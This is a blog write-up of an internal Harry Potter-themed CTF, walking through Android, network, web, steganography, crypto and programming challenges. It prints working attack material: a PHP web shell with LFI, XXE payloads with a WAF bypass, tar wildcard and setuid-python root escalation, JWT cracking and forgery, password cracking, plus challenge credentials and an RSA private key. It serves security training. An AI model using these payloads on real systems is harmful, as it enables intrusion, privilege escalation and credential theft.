Hello Everyone

i am back with a another CTF blog , this time some of my collegues created the challenges and hosted the CTF internally,

The CTF challenge is based on Harry Potter theme

The CTF format was in jeopardy. which has all type of challenges such as Web, Mobile, Network , OSINT , Cloud, Misc, Programming.

Rules for the CTF are quite simple. No automated scripts allowed which creates heavy traffic.

Note : “The more you solve the points of the challenges get decrease due to the dynamic pointing system”

Android Challenges

Challenge Name : Ronproject

Step 1 : Download the APK and install into any Android Device or Emulator to check the Application UI and Functionality.

Note : Installation steps as shown below

Step 2 : By checking the capture image option on the Android Application , found that it scans for QR code as shown in the image below .

Step 3 : After that i started looking for images on all the directory that is present in the application and found a intresting directory as shown below.

Step 4 : Opening the code image shows it is broken.

Step 5 : Then checking the format found it is PNG and tried to fix the corrupted magic number of the Image using the following command

hexeditor code.png


Magic Number of PNG - 89 50 4E 47

Step 6 : Open the image now , you will see the QR Code

Step 7 : Scan the QR Codeand you will get some Secret Key Y0usc@nn3dth3k3y , but the real twist is this is not the flag !!!

Step 8 : Went back to the Android Application and click on WingaduimLeviosa and we got this below error message.

Note : From the above error message found that this application has some strings that are Encrypted

Step 9 : Now Let’s start the Static Analysis using Apktool using the following command

apktool d Ronproject.apk


Step 10 : After that move into the Ronproject directory and check the AndroidManifest.xml file , found that it is a Flutter Application .

Step 11 : Did a quick Google Search “How to decompile Flutter apk** and endup with this Link https://stackoverflow.com/questions/53666487/flutter-debug-apk-decompile-to-get-source-code

Step 12 : So after going through the stackoverflow , understood that in each and every flutter application there will be kernel_blob.bin file which has the decompiled code of the application.

strings kernel_blob.bin > extracted_code.dart


Step 13 : Open the extracted code file with any Text Editor as shown below and search for the keywords such as Hermione which was mentioned in the Android Application screen

Step 14 : Now decrypt the encrypted text that we got from the extracted code and we get the flag.

nTLxYPo5EESJTmMi/HgZ7Ip8pPGKYcEUxXMFX7I5lRQ=

Step 15 : After google came across this website for Decrpyting AES-ECB-MODE https://8gwifi.org/CipherFunctions.jsp .

Flag: cygym{R0n_S0uld_l3arn_Hybrid}

Challenge Name : Not for You

Step 1 : Download the APK and install into any Android Device or Emulator to check the Application UI and Functionality.

Note : Installation steps as shown below

Step 2 : So i started testing for Default Credentials on the login page.

Step 3 : Click on the Forgot Password option and Observe the message as shown below.

Step 4 : Now Let’s start the Static Analysis using Apktool using the following command

apktool d Notforyou.apk


Step 5 : Then i started searching for credentials to login into the application, under the Notforyou -> res-> values-> strings.xml found a set od username and password as shown below.

Step 6 : Enter the username as Voldemort111 and password as YAYlet1248u3, intercept the request using Burpsuite and it shows No active account found with the given credentials.

Step 7 : After that i went back to the strings.xml file and found keyword github.

Step 8 : So i started searching for the creator name Voldemort111 in github and found his account.

Step 9 : Found a set of users & password under the Voldemort111/ChamberofSecret repository.

Step 10 : Started bruteforcing with those users and password and found the Valid credentials as username : tomriddle , password : Haishas@123.

Step 11 : Using the Valid set of credentials , i was able to login into the application.

Step 12 : Clicking on the MUGGLE! it took to another page.

Step 13 : After choosing the Flag , it showed up the following message as shown below.

Step 14 : Went back to the Homepage and i click on MAGICIAN! it took to another page.

Step 15 : After that i fsubmitted the feedback to see the response from the application.

Step 16 : Found a weird response from the application by click on the Home page image.

Step 17 : After checking the Burpsuite History for this Request found a Authorization Bearer a JWT Token.

Step 18 : Using the JWT.io decode the JWT token , it was observed that the is_admin is set to false change that to trueunder the Payload section.

Step 19 : Now we need to find the JWT Secret Bit , so i used c-jwt-cracker

./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiYWNjZXNzIiwiZXhwIjoxNjEyMDgzODg2LCJqdGkiOiJhZjA1ZDIwNDI3ODY0ZmFlOTQxNWQ1N2JlZDk2NmIzMCIsInVzZXJfaWQiOjIsIm5hbWUiOiJ0b21yaWRkbGUiLCJpc19hZG1pbiI6ImZhbHNlIiwiSG9jcnVzIjoiRGFpcnkiLCJDcmVhdG9yIjoiVm9sZGVtb3J0MTExIn0.Np6cl13_kpWWFrL4B6-qGpFvwrOMYJ-CYAo_Hfb5srE

Secret is "Nagin"


Step 20 : The final payload looks as shown below and we get the flag.

Flag: cygym{Y0u_kno0w_Pars3}

Network Challenges

Challenge Name : DD World 1

Step 1 : Open the challenge URL as shown below.

Step 2 : After fewing the source code of the application, nothing intresting so i started dirsearch and found a /messages/ directory.

python3 dirsearch.py -u http://ddworld.cybergym.lucideus.in:8001 -e*

Step 3 : There was a Pcap File in the attachment , so i downloaded and started analysing it.

Step 4 : Now i started to search for credentials in this pcap file using the Keywords PASS, SHADOW as shown below.

Step 5 : Follow the TCP Stream on the those etc/passwd , etc/shadow and save the output of each in separate file.

Step 6 : Using unshadow we can crack the password for the users.

unshadow passwd shadow > output


Step 7 : Now using John the Ripper to bruteforce the output that we got from the unshadow.

john -wordlist=/usr/share/wordlists/rockyou.txt output


Step 8 : We got the SSH username dumbledore and password agent007 login into server using this.

ssh -p 2222 dumbledore@ddworld.cybergym.lucideus.in


Step 9 : By checking the /etc/passwd there were other users such as mcgonagall , admin.

cat /etc/passwd


Step 10 : I was not able to find any flag in this user , so i started to look for Privilege Escalation to another users.

Step 11 : When i did a netstat -an found that there is a internal port running on 7777.

Step 12 : So i tried to do Port Forwarding to port 7777 from dumbledore user to another user.

ssh -L 7777:localhost:7777 -p 2222 dumbledore@ddworld.cybergym.lucideus.in


Step 13 : Now listen with nc on the port 7777 and give the username as mcgonagall and the password for it.

nc -nv 127.0.0.1 7777

Step 14 : Using the username mcgonagall and password 5cae86798e994dfbb2aa9945e74df we can login into mcgonagall user account.

ssh -p 2222 mcgonagall@ddworld.cybergym.lucideus.in

Step 15 : We can see there is user.txt after log in we get the flag for DD world-1.

Flag: cygym{do_to_dwell_on_dreams}

Challenge Name : DD World 2

Step 1 : This challege is continution of DD World 1.

Step 2 : We need to achieve root (admin) user to get the final flag.

Step 3 : So i started searching for services which are running at admin privilege, then i found crontab has option for it.

cat /etc/cron.d/backups

Step 4 : From the above image you can see there is * (/var/backups/mcgonagall.tgz *) wildcard , so i started searching for Wildcard Privilege Escalation and found this article Exploiting Wildcard for Privilege Escalation.

Step 5 : Following the below commands ,i was able to achieve the admin privilege and read the flag.

echo 'ls -la /home/admin/ > /tmp/1o1.txt' > get.sh
echo "" > "--checkpoint-action=exec=sh get.sh"
echo "" > --checkpoint=1
cat /tmp/1o1.txt


Flag: cygym{forget_to_live}

Challenge Name : Meagle Router

Step 1 : Open the challenge URL , there is not much information so started with the **nmap** scan.

Step 2 : The full port scan didn’t show much information, so i started to perform UDP scan with the following command

nmap -sU -sV -p- meagle.cybergym.lucideus.in

Step 3 : From the UDP Full Port scan , it was found that the port 6001 is Open with SNMP Service running on SNMPv3 Version.

Step 4 : Using SNMP walk we can connect with the SNMP service using the following command.

Note: If the SNMP version is v3 , it supports both v2 & v3

snmpwalk -v 2c -c meagle meagle.cybergym.lucideus.in:6001


Flag: cygym{snmp_is_super_s1mpl3}

OSINT Challenges

Challenge Name : Cybergym Email Server

Step 1 : Let’s check the spam box , from where received the credentials.

Step 2 : Right click and choose the show original option.

Step 3 : After analyzing the original message , I found there is a keyword cygym in the message.

Step 4 : After that we started checked the dmarc record of the main domain lucideus.in using DMARC check tool.

Step 5 : That’s how we found the second part of the flag.

Flag: cygym{L3ts_pr3v3nt__phishing}

Challenge Name : Magic Traces

Step 1 : The challenge was given with a PPT file , it had around 5 Pages.

Step 2 : The First page had some username as Hogwart64223275 on the Top Right Corner as shown below.

Step 3 : So i started searching on internet and found this username on twitter.

Step 4 : Going further on the tweets from the account https://twitter.com/Hogwart64223275/status/1334917663101919237/photo/1, i noticed one of the QR code in it.

Step 5 : Scanning the QR code took me to a anonymousfile.io https://anonymousfiles.io/w04vI6Zj/ sharing website.

Step 7 : From the second page there was keyword in italic format mnemonic so i started searching for Mnemonic Encryption.

Step 8 : Found a github repository for Mnemonic Encryption & Decryption with the same background which was on the Hogwart64223275 Twitter account.

Step 9 : Now Let’s move to the third page , it had some Base64 string encoded.

Step 10 : Decrypted the Base64 algorithm using this website https://www.base64decode.org/.

Step 12 : Now we can run Mnemonic Encryption & Decryption tool and get the secret text out as shown below.

Step 13 : The decrypted text has a username _harry_wizardry_telling , found this username on one of the instagram account.

Step 14 : There was a sound cloud account on the Instagram Bio https://soundcloud.com/harry-rom-215683629 .

Step 15 : Upon opening the soundcloud account it redirected to https://soundcloud.com/harry-rom-215683629, there was nothing inside in it.

Step 16 : So i tried to login into the soundcloud account using the username harry-rom-215683629 and password is Scotland-UK taken from the instagram post Location which had some hint “location is the key” as shown below.

Step 17 : We were able to successfully log-in , after that found that there is video which was kept in private.

Step 18 : Looking closely on the video title , there was a another hint Hearmewitheyes .

Step 20 : Load the Mp3 song file with Sonic Visualizer and Choose Layer -> Add Spectogram -> All Channels Mixed and we were able to See the flag.

Flag: cygym{Harry_MasterOS1NT}

Web Challenges

Challenge Name : Norris

Step 1 : Open the first challenge URL http://norris.cybergym.lucideus.in/

Step 2 : From the image , I was able to observe that there is a cat in it and there is a character in Harry Potter Movie called Norris .so started checking on the next challenge URL.

Step 3 : The page is not working , but there is a port number 8009 in the second challenge URL , so i started searching on google with the keyword “cat 8009”.

Step 4 : After this I started searching for an exploit POC through googling endup with this medium article Ghostcat vulnerability | CVE-2020–1938 | AJP LFI | Apache Tomcat Server vulnerability

Step 5 : Using this Exploit from github ZhengHaoCHeng/CNVD-2020-10487: CVE-2020-1938 / CNVD-2020-1048 Detection Tools , i was able to get the flag with the following command.

Flag: cygym{Norris_a_Maine_Coon_cat}

Challenge Name : Magic Online

Step 1 : Open the challenge URL http://magic-online.cybergym.lucideus.in/.

Step 2 : After trying to reach any of the pages endup with the following message.

Can you get to /hogwart!!!

Step 3 : Tried appending hogwart at the end of the page and got a different page.

Step 4 : Found that the application is using Flask , again i started googling for Flask Based Vulnerability and endup on “SSTI on Jinja2Flask”.

Step 5 : Started testing for normal SSTi Payloads .

Step 6: Now we need to check few other things like blacklist = [‘config’, ‘self’], then i started to search on internet and found a way to get the current_app name wit the following command.

Step 7 : As the challenge description say we need to invoke the config file , so that we can read the flag , tried the following command but the response is 200 and no flag.

Step 8 : So i tired manipulating the config keyword in the request and endup with a different response.

Step 9 : It can be seen that we need a spell name so that the flag can be invoked with it, so I started googling for 12 Most Popular Magic Spells of Harry Potter and after trying a few spells found the correct one.

Flag: cygym{Do_not_let_the_muggles_get_you_down}

Challenge Name : Hogwart Book

Step 1: Open the challenge URL http://hogwart-book.cybergym.lucideus.in ,Enter any random string and click on submit.

Step 2: It will show two .txt file , click on any of the files.

Step 3: There is parameter called file= , so i started testing for Local File Inclusion.

Step 4: Using the following payload , was able to read /etc/passwd.

file=../../../../../../../etc/passwd

Step 5: After Observing some the traffic of the application using Burpsuite , found a POST request is sent to the server with the parameter book_name.

Step 6: After play with the POST request found that we can send a malicous PHP shell command to the server as follow.

<?php echo system($_GET["cmd"]); ?>  Step 7: Now using the following command we will be able to do a directory listing on the server. http://hogwart-book.cybergym.lucideus.in/index.php?cmd=ls%20/&file=../../../../../proc/self/fd/9 Note: /proc/self/fd is part of a larger scheme that exposes the file descriptor of all processes. Step 8: From the above image it is observed that there is a directory called flag_is_here. Step 9: Navigate to the following directory using the following payload. http://hogwart-book.cybergym.lucideus.in/index.php?cmd=ls%20/flag_is_here&file=../../../../../proc/self/fd/9 Step 10: Looking into the flag.txt file , we found there is a directory called \hogwart-access-log\. Step 11: Lets look into the \hogwart-access-log\ see what is inside it. http://hogwart-book.cybergym.lucideus.in/hogwart-access-log/ Step 12: Open the final.log file as shown below. Step 13: We can see that there is String.fromCharCode. Step 14: Decrypt the encoded String.fromCharCode using Burpsuite decoder, you can use smart decode. Step 15: Copy the Decrypted String.fromCharCode , we need to covert this to readble plain text. Note : Using this website we can covert it https://charcode98.neocities.org/ Step 16: From the above image , it can be seen that we have got a another domain called http://hogwart-library.cybergym.lucideus.in Step 17: After going this New Domain found a upload section , with a sample.xml file given for uploading. Step 18: Open the sample.xml file. Step 19: Upload the sample.xml and observe the response from the server , as shown below. Step 20: Since the input is given in XML , so i tried to test for XXE related vulnerabilites and found that WAF Blocks!!! the malicious payload given in the file. <?xml version='1.0'?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <users> <user> <username>Harry</username> <password>passwd1</password> <name>Harry</name> <email>harry@hogwart.com</email> <group>&test;</group> </user> <user> <username>Hermione</username> <password>passwd2</password> <name> Hermione</name> <email>hermione@hogwart.com</email> <group>CYGYM2020</group> </user> </users>  Step 21: So we have to bypass the WAF , so i tried to change the format of the UTF from UTF-8 to UTF-16BE using the following command cat sample.xml | iconv -f UTF-8 -t UTF-16BE > payload.xml Step 22: Now we get the partial output of the /etc/passwd. Step 23: From the user page found that we need to supply intro filed which was missing in our payload . Step 24: Final payload looks as shown below. <?xml version='1.0'?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <users> <user> <username>Harry</username> <password>passwd1</password> <name>Harry</name> <email>harry@hogwart.com</email> <group>&test;</group> <intro>&test;</intro> </user> <user> <username>Hermione</username> <password>passwd2</password> <name> Hermione</name> <email>hermione@hogwart.com</email> <group>CYGYM2020</group> </user> </users>  Step 25: We got the flag location from the about page as shown below. Step 26: So the final paylaod to get the Flag is given below. <?xml version='1.0'?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/flag'>]> <users> <user> <username>Harry</username> <password>passwd1</password> <name>Harry</name> <email>harry@hogwart.com</email> <group>&test;</group> <intro>&test;</intro> </user> <user> <username>Hermione</username> <password>passwd2</password> <name> Hermione</name> <email>hermione@hogwart.com</email> <group>CYGYM2020</group> </user> </users>  Flag: cygym{Horcrux:Secrets of the Darkest Art} Stegnography Challenges Challenge Name : Hogwarts Land 1 Step 1 : Open the challenge URL http://hogwart.cybergym.lucideus.in:5678. Step 2 : After checking the view-source: found a /img/ directory had a couple of images as shown below. Step 3 : Download all the images which are present inside the directory. Note: After trying many tools related to stegnography there was no luck. Step 4 : So i started to bruteforce the image with rockyou.txt file. stegcracker gryff.jpg rockyou.txt  Step 5 : Now we have got a password Muggle we can supply it with steghide steghide extract -sf gryff.jpg Step 6 : We got a outfile file as hint.txt which had a long string with base32 IY2VKR2DGRKFGUCFLBKE6T2CK5DVKMSEJ5HFEVSHJVMFOUZULJIE4RSYIM3FUM2TKBDFIR2NGJGE6TKSLBMEKTCZHU====== Step 7 : By using some Online tools we can decode it easily , but we have to decode Base32 Twice Step 8 : After decoding we got a new directory /harry/786547653/is/in/gryffindor/. Step 9 : Checking the view-source found a another domain name and port hogwarts.cybergym.lucideus.in:2001 with ssh credentials hermionie:c4b9f092bdce1f6c1e7fc4b69c2b9d90 Step 10 : Do a ssh with the credentials using the following command. ssh -p 2001 hermionie@hogwart.cybergym.lucideus.in Step 11 : Now we will be able to read the user.txt which has our flag. Flag: cygym{Welc0m3_to_H0gw@rt5} Challenge Name : Hogwarts Land 2 Step 1 : This challege is continution of Hogwarts Land 1. Step 2 : We need to achieve root user to get the final flag. Step 3 : So i started search for capabilities in the system using the following command. getcap -r / 2>/dev/null Step 4 : i tried to see if we can exploit this python and get root shell and it works as shown below. python3 import os; os.setuid(0); os.system("/bin/sh")  Step 5 : From the /root/root.txt , we can read the flag. Flag: cygym{It'S_the_harry_potter_day} Cryptography Challenges Challenge Name : Decrypt the Message Step 1 : The challenge was given with a public key (pub.pem) , message encoded (msg.enc) , secret key (secret.pem) and python file to generate the private key (gen_new_priv_key.py). Step 2 : Now we need to generate the private key using the secret.pem using the following command openssl rsa -in priv.pem -noout -text -modulus Note : Convert the modulus, prime 1 and prime 2 into integer using python. modulus=n python -c 'print(int("9AD40B14906720F39B92FB39BC70738A61CB4C9F5137CDAFE6AF9A67B672A58DB3E4E36991D49FB788F21DF9DBE84FC8E286F2BC19EC2C4736601E310E936995E208C8DC663A4508430066DB0A0374F5551FF57B153A01247D7E4E4E6A105D88343054D44574D92D2EC208F5DFF4D95B5E98BCB8116AAEE8767A6FE14966130528F5E231E2038FA1210C7435B24F87F963E1417899CCB882540B39459DE86AE9BA03F9A6C821F003BD390D488B954CB9E3F89C18E577D29DF17E2CE27AA5D2A1FD3738258D8A3F10FBC300F319567F36846C1B30CE4FFEFF1762CD30B0E50F7FCD8C38609B5EA64B47E0906078B13CCFBE925A601303C63617BAF0F932520B922A15F09892BBE62A31682B77781AF5845FCB7A47429A91B14E64E5F6C29152698A47645B69148492300A13298FA6A9A5697C612225573F2BF0B2C27A67EF4010C96A344BEF0BC5DDEEC8DA1B827210CFB1CCEA2E46582D668ECFC9005B04B7E1C29FE37AEFFF5BC51235227FDF6D5C50A55369F2CBEB31EA6E554A678530B12AB43E3E7DA3056182E89FC4F492A87A1B154F1B14C3C354677150A4A0985392DD106CB96D4845B73BE80092A2DF52D1B2B2BA9003E66ABC723C920AD1A39799A0FB0C3759EF44B96B4D35AA0866F8DCCD020F54AB7C2EEA4E71C111407BE202173776F2DB99D80A37EB679EAE0A4F2DF4E4DC40463A340DA38B82D4CF706935D1", 16))' 631644331474117932647044987238500886236316216805540510133226390620658625311821989221907337177001107026269766112252061950177263913775935891882010038502018469470521083255933103205182845534674501625003067687156216895805815229192804141512049836890232364043335726333092009411566154490835781489577269048409988249840154423265145643854549601250605854217946860509240789664190766314835488967789539004402621308253291062370387451063730932566043726847828047967536086624993926512983402074587546225816729424319326087106960577680595939860556210810577611003066789429412307202504173763308114068921796939383305361289380836815891888233119084298397288246703744734062712342294975725901835082012915549726426531938161416406784624063514408220673493775350587315751880974304333042703150436950038129934175497158910221813995494379309218026893489297870145256394102050644729119064307961798438041049754293770605635262939498786903162680020713420462532663776933680039676239755909836922286445508414558858152686548678516100334850424340863059854637349171342302560325300398751599709526022862376912316892902705609284009621873050991249432218334074549595084346334826611732443574168706695831841457628856143367248965689030644740234213965380675406556181089329942581325498758609  prime 1= p python -c 'print(int("00cc951659f170ebaf7a703d806d95468649a2c008a20d0a086ef88dce32bb943c9e2f4b79e7a79f036756bb624d231765eb18c139dd06ff48f9787b53f2c0dbd2b27306eeb29e36aa6ab64f58019c7745d62518fb2c8dab4c4c36adb4061789054d3342d63de64055c3273697224257182f27c03d2b25875d82e6c55a5698a61062765bf5e7ed9ec40df7772db5e944a1a8f2d4955af53f7c20ee9234b805a9fe4840bba3bf4fc13f7b957645e025ea1e7c1090b1f31fbbd8d79166a690151fb3b8739546837babdea10f1e454fe100cb1819bc848faf80818e227229c579895ffc2a0dab85b986631f5e5fb5b3e3c893db194a85ba4083d8c978bef4afc31fe5", 16))' 25826131905641032900689036790993839884877209339276461357893774547598102322841707800366330567161715490253840327150885465444154710137019063269507929523745334145016070397256545622822712768309432538287560072246364442839778092719518334762337784597713693056315903399620685435966969476263035566399728021785778471230856809667914598251338300736650346623497882958701132990811063470216640121665980217293926897284285529637797926015405918156098387672043264883951475724486540033141848234887942578948824891682300625955610658907937813156514774795871249012531918993128814322752910846270790722481706022068441122912735313158910114996197  prime 2= q python -c 'print(int("00c1bdc22862886bc3b3615ca3c9f2eeedf1605ba5170e5fa132f244b73e00736b83a16ab07cceb4218b355db0836c729372dbdee3ef917ee943ed9d562d0590784632c452cb13f692cca7abe8ae7d725df83e4bbbfcee70e15198bf1bbe27b5a51a7793c6c45981e5e0e1dc3af511ca89b1305a8a90f42c771071a9a3212c4b1c14aab86d300d67eb96b9cbd86c2c5c8394f626855f19963a6c941b30f11e33d9a0be78305b8d56223fa224ea4a9d6b2a8534d95472af82a12280bc01d721d4ad684ae539179a28c6912bb01f9a4a9a9ea01602434dff55fae00a07695e4de365eb29c9e0da7844d4c6b9708231c6a8e67e1da2964356b3d1d309538fb73fe77d", 16))' 24457566227180617663024406911294495673135280389354034089218102890197408678870618354414163776192570917488458039408349373117714856477561182736927213776646173489726699277260369070561192300457667435447637936730498205810218872060685817614981042459472393950855273999599301240696601550937648531724335041915485364031313018430785386774605463713194998354630775830077815295284802501798815569183450629672821854896430448751961610647343857024549543881646065728909123419439782642788657934832059651766724205758636473959378661628046747202885185279355698039783804203514835594618201519095165930813791457707773326058510330067444272457597  Step 3 : Generate the private key using the python file. ./gen_new_priv_key.py  #!/usr/bin/python3 from Crypto.PublicKey import RSA import gmpy2 as gmpy with open('p') as x: p = int(x.read()) with open('q') as x: q = int(x.read()) with open('pub.pem') as x: pub = x.read() with open('n') as x: n = int(x.read()) thepub = RSA.importKey(pub) e = int(thepub.e) d = int(gmpy.invert(e, (p - 1) * (q - 1))) thesec = RSA.construct((n, e, d)) print(thesec.exportKey(format='PEM').decode())  output -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY-----  Step 4 : Now decrpyt the encrypted message using OpenSSL rsautl. openssl rsautl -in msg.enc -out msg.dec -inkey newpriv.pem -decrypt Flag: cygym{h1st0ry_0f_M4g1c} Programming Challenges Challenge Name : Dobby 1 Step 1: Login into the SSH instance using the following command. ssh -p 2004 dobby@dobby.cybergym.lucideus.in password - c5b7d8cf48494105e1cd7e303b Step 2: Now execute /bin/bash command to get a stable terminal shell. Step 3: When i tried to give any commands like id, hostname , netstat nothing works. so i started to pass variable into the machine using awk Step 4: Found this article How can i pass variable from awk to shell command which help to execute commands and retrieve the flag. awk '{system("wc "$1)}' flag.txt


Flag: cygym{Wizarding_Wildcats}

Challenge Name : Dobby 2

Step 1: This challenge is a continution of Dobby 1.

Step 2: There was an another port 4002 open in Dobby Challenge , flag needs to be retrieved characted by character.

Note : If the program return yes then we are sending the right character otherwise not.

dic.txt - file contains A-Z , a-z , 0-9 , {} , _ characters line by line.

exec 3<>/dev/tcp/dobby.cybergym.lucideus.in/4002
for j in {1..50}
do
for i in $(cat dic.txt) do echo$x$i >&3 result=$(timeout 0.1 cat <&3)
if [[ $result == *"Yes"* ]] || [[$result == *"Congratulations"* ]]
then
x=$x$i
echo $x else continue fi done done  output Flag: cygym{99_Problems_But_A_Snitch_Aint_One} Challenge Name : Abracadabra Step 1 : For this challenge it was a nc connection nc abracadabra.cybergym.lucideus.in 4001 Step 2 : I started to give some random value and got a invalid response as shown below. Step 3 : Then i started to give some Capital Letter Alphabets, lucky it started to give some output. Step 4 : Created small bash scripting for the solution as follow. exec 3<>/dev/tcp/abracadabra.cybergym.lucideus.in/4001 ans1=$(timeout 0.01 cat <&3)
ans1=$(echo "${ans1: -1}")
echo $ans1 >&3 echo -n$ans1
for i in {1..9999}
do
ans2=$(timeout 0.01 cat <&3) echo$ans2 >&3
echo -n \$ans2
done


Step 5 : Once the script is completed , we get the flag!.

Flag: cygym{dark_sky_and_torrential_rain_outside}

Challenge Name : Hedwig

Step 1 : Login into the challenge SSH instance using the following command with password 86ee02e82cd3b0a259d963174.

ssh -p 2003 hedwig@hedwig.cybergym.lucideus.in

Step 2 : There where three files present inside the machine named flag , hedwig(compiled), hedwig.c.

Step 3 : When i tried to read the flag file , it showed up Permission denied.

Step 4 : So i started looking on the hedwig.c file.

hedwig.c

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
system( argv[1] );
return 0;
}


Step 5 : From the above code , it can be seen that when flag is read directly , it will not show output.

./hedwig "/bin/cat flag"

Step 6 : When i tried to break the flag name it fl’a’g” , it worked.

./hedwig "/bin/cat fl'a'g"

Flag: cygym{th3_lo55_0f_inn0c3nc3}

Misc Challenges

Challenge Name : Dark Magic

Step 1 : Open the challenge URL , it a Github Profile with a repository [https://github.com/HariRiddle].

Step 2 : From the challenge description was able to understand that the visually challenged uses Braille Code for reading the text.

